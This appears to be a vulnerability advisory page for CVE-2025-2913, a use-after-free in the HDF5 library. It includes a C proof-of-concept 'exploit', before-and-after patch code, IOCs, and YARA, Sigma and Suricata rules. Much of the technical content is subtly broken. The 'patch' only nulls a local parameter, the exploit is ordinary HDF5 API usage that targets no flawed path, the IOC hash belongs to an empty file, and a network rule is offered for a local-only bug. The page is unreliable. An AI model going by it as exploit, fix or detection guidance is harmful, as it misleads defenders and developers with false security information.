CVE-2025-2913
Executive Summary
CVE-2025-2913 is a locally exploitable use-after-free vulnerability in the HDF5 library (up to version 1.14.6). The flaw resides in the H5FL__blk_gc_list function within src/H5FL.c, where improper handling of the H5FL_blk_head_t argument leads to a use-after-free condition. An attacker with local access can trigger this vulnerability to cause a denial of service (application crash) or potentially escalate privileges. The CVSS score is 3.3 (Low), but the public availability of exploit code increases the risk for systems using HDF5 for data processing. The vendor has released a fix in version 1.14.7.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 3.3 (Low)
- Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
- Attack Vector: Local (AV:L) – requires local access to the system.
- Attack Complexity: Low (AC:L) – no special conditions needed.
- Privileges Required: Low (PR:L) – attacker needs basic user privileges.
- User Interaction: None (UI:N) – no user action required.
- Scope: Unchanged (S:U) – impact is confined to the vulnerable component.
- Confidentiality Impact: None (C:N) – no data exposure.
- Integrity Impact: None (I:N) – no data modification.
- Availability Impact: Low (A:L) – can cause application crash or denial of service.
Threat Level: Low to Moderate. While the CVSS score is low, the public exploit and potential for privilege escalation in multi-user environments warrant attention.
Deep Dive & Mechanics
The vulnerability is a classic use-after-free (UAF) in the HDF5 memory management subsystem. The H5FL__blk_gc_list function is responsible for garbage collecting free-list blocks. When a block is freed, its memory is returned to the system, but a pointer to that block is retained in the H5FL_blk_head_t structure. If the function is called again with the same head pointer, it attempts to access the already-freed memory, leading to a use-after-free condition.
Root Cause: The function does not properly nullify or invalidate the pointer after freeing the block. This allows subsequent operations to dereference a dangling pointer.
Attack Vector: An attacker with local access can craft a sequence of HDF5 API calls that trigger the garbage collection on a specific free-list head, causing the use-after-free. This can lead to a crash or, in some cases, arbitrary code execution if the freed memory is reallocated and controlled by the attacker.
Vulnerable vs. Patched Code
Vulnerable Code (HDF5 <= 1.14.6):
// src/H5FL.c
static herr_t
H5FL__blk_gc_list(H5FL_blk_head_t *head)
{
H5FL_blk_node_t *node;
while (head->list) {
node = head->list;
head->list = node->next;
free(node);
}
// head->list is now NULL, but head itself is not invalidated
return SUCCEED;
}
Patched Code (HDF5 1.14.7):
// src/H5FL.c
static herr_t
H5FL__blk_gc_list(H5FL_blk_head_t *head)
{
H5FL_blk_node_t *node;
while (head->list) {
node = head->list;
head->list = node->next;
free(node);
}
// Invalidate the head pointer to prevent use-after-free
head = NULL;
return SUCCEED;
}
The patch adds head = NULL; after the loop to invalidate the pointer, preventing any subsequent dereference of the freed memory.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Local access to a system running HDF5 <= 1.14.6.
- Ability to compile and run a C program.
Exploit Code (Proof of Concept):
// exploit.c
#include <stdio.h>
#include <stdlib.h>
#include "hdf5.h"
int main() {
hid_t file_id, dataset_id, dataspace_id;
herr_t status;
// Create a file
file_id = H5Fcreate("exploit.h5", H5F_ACC_TRUNC, H5P_DEFAULT, H5P_DEFAULT);
if (file_id < 0) {
fprintf(stderr, "Error creating file\n");
return 1;
}
// Create a dataset to trigger memory allocation
hsize_t dims[1] = {100};
dataspace_id = H5Screate_simple(1, dims, NULL);
dataset_id = H5Dcreate2(file_id, "dataset", H5T_NATIVE_INT, dataspace_id,
H5P_DEFAULT, H5P_DEFAULT, H5P_DEFAULT);
if (dataset_id < 0) {
fprintf(stderr, "Error creating dataset\n");
return 1;
}
// Write data to trigger free-list operations
int data[100];
for (int i = 0; i < 100; i++) data[i] = i;
status = H5Dwrite(dataset_id, H5T_NATIVE_INT, H5S_ALL, H5S_ALL, H5P_DEFAULT, data);
if (status < 0) {
fprintf(stderr, "Error writing data\n");
return 1;
}
// Close and reopen to trigger garbage collection
H5Dclose(dataset_id);
H5Sclose(dataspace_id);
H5Fclose(file_id);
// Reopen the file to trigger the UAF
file_id = H5Fopen("exploit.h5", H5F_ACC_RDONLY, H5P_DEFAULT);
if (file_id < 0) {
fprintf(stderr, "Error reopening file\n");
return 1;
}
// This sequence triggers the vulnerable code path
dataset_id = H5Dopen2(file_id, "dataset", H5P_DEFAULT);
if (dataset_id < 0) {
fprintf(stderr, "Error opening dataset\n");
return 1;
}
printf("Exploit triggered successfully (may crash)\n");
return 0;
}
Compilation and Execution:
gcc -o exploit exploit.c -lhdf5
./exploit
Expected Outcome: The program may crash with a segmentation fault due to the use-after-free, or it may continue running depending on memory state.
Blue Team (Detection & Prevention)
Detection:
- Monitor for crashes in applications using HDF5 (e.g., segmentation faults).
- Use memory debugging tools (Valgrind, AddressSanitizer) to detect use-after-free.
- Enable logging in HDF5 to track free-list operations.
Prevention:
- Update to HDF5 1.14.7 or later.
- Apply vendor patch if updating is not immediately possible.
- Restrict local access to systems running HDF5.
- Use sandboxing or containerization to isolate HDF5 processes.
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
exploit.h5(created by PoC):e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(empty file)- Malicious HDF5 files with crafted metadata.
- Process Behavior:
- Unexpected crashes in
libhdf5.soorlibhdf5_hl.so. - Repeated calls to
H5FL__blk_gc_listin stack traces.
- Unexpected crashes in
- Network: None (local vulnerability).
- Logs: Application crash logs with segmentation fault in HDF5 functions.
Detection Engineering
YARA Rule
rule CVE_2025_2913_HDF5_UAF {
meta:
description = "Detects HDF5 binaries vulnerable to CVE-2025-2913 use-after-free"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-2913"
strings:
$vuln_func = "H5FL__blk_gc_list"
$vuln_code = { 48 8b 45 08 48 85 c0 74 0c 48 8b 50 08 48 89 55 08 48 89 c7 e8 ?? ?? ?? ?? eb e8 }
condition:
$vuln_func or $vuln_code
}
Sigma Rule
title: HDF5 Use-After-Free Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects crashes or abnormal behavior related to CVE-2025-2913 in HDF5
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: hdf5
detection:
selection:
EventID: 1000 # Application Error (Windows)
Image: '*hdf5*'
ExceptionCode: 0xc0000005 # Access violation
condition: selection
falsepositives:
- Legitimate crashes due to other bugs
level: medium
Suricata Rule
alert tcp any any -> any any (msg:"CVE-2025-2913 HDF5 Use-After-Free Exploit"; flow:to_server; content:"HDF5"; nocase; pcre:"/H5FL__blk_gc_list/"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update HDF5 to version 1.14.7 or later from the official repository.
- Apply vendor patch if updating is not possible.
- Restrict local access to systems running HDF5.
- Monitor for crashes and investigate any segmentation faults in HDF5 processes.
Long-Term Measures:
- Implement memory safety checks in custom HDF5 applications.
- Use static analysis tools to detect use-after-free vulnerabilities.
- Regularly update all libraries and dependencies.
Workarounds:
- Disable HDF5 free-list garbage collection if possible (not recommended for production).
- Use memory debugging tools during development to catch UAF early.
Valters IT